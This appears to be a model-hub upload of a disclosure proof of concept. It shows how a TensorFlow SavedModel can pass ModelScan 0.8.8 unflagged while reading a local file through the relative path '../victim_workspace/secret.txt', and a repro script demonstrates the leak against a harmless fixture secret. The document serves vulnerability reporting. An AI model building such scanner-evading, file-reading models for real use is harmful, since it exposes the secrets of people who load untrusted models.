Upload 4 files
Browse files- README.md +40 -0
- repro.py +57 -0
- requirements.txt +2 -0
- saved_model.pb +3 -0
README.md
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---
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library_name: tensorflow
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tags:
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- security-research
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- tensorflow
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- savedmodel
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- modelscan
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---
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# TensorFlow SavedModel TextFileInitializer ModelScan Bypass PoC
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This is a harmless proof-of-concept TensorFlow SavedModel for an authorized Huntr report.
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The model contains `InitializeTableFromTextFileV2` and a model-controlled relative filename:
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```text
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../victim_workspace/secret.txt
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```
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ModelScan 0.8.8 reports zero issues for this `saved_model.pb`, while TensorFlow 2.21.0 loads the model and returns the first line of that local file through `serving_default`.
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Run:
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```bash
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cd <repo-root>
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python -m venv .venv
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source .venv/bin/activate
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python -m pip install -r requirements.txt
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CUDA_VISIBLE_DEVICES=-1 python repro.py
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```
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Expected:
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```json
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{
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"modelscan_issue_count": 0,
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"leaked_expected_line": true,
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"visible_gpu_count": 0
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}
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```
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repro.py
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import json
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import os
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from pathlib import Path
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import tensorflow as tf
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from modelscan.modelscan import ModelScan
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ROOT = Path(__file__).resolve().parent
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SECRET_LINE = "TOKEN_FROM_MODEL_CHOSEN_FILE=local-fixture-secret"
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def scan_model() -> int:
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scanner = ModelScan()
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scanner.scan(ROOT)
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return len(scanner.issues.all_issues)
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def run_model() -> str:
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loader_cwd = ROOT / "loader_cwd"
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victim_workspace = ROOT / "victim_workspace"
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loader_cwd.mkdir(exist_ok=True)
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victim_workspace.mkdir(exist_ok=True)
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(victim_workspace / "secret.txt").write_text(SECRET_LINE + "\n")
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old_cwd = Path.cwd()
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os.chdir(loader_cwd)
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try:
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model = tf.saved_model.load(str(ROOT))
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output = model.signatures["serving_default"](x=tf.constant(1.0))[
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"leaked_line"
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]
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return output.numpy().decode("utf-8", errors="replace")
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finally:
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os.chdir(old_cwd)
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def main() -> None:
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leaked_line = run_model()
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print(
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json.dumps(
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{
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"tensorflow_version": tf.__version__,
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"visible_gpu_count": len(tf.config.list_physical_devices("GPU")),
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"cuda_visible_devices": os.environ.get("CUDA_VISIBLE_DEVICES"),
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"modelscan_issue_count": scan_model(),
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"leaked_line": leaked_line,
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"leaked_expected_line": leaked_line == SECRET_LINE,
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},
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indent=2,
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sort_keys=True,
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)
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)
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if __name__ == "__main__":
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main()
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requirements.txt
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tensorflow==2.21.0
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modelscan==0.8.8
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saved_model.pb
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version https://git-lfs.github.com/spec/v1
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oid sha256:ae95329e0877bb4a1b314cbf9b0391711bdd681917c97b55b730e56761e24a78
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size 2090
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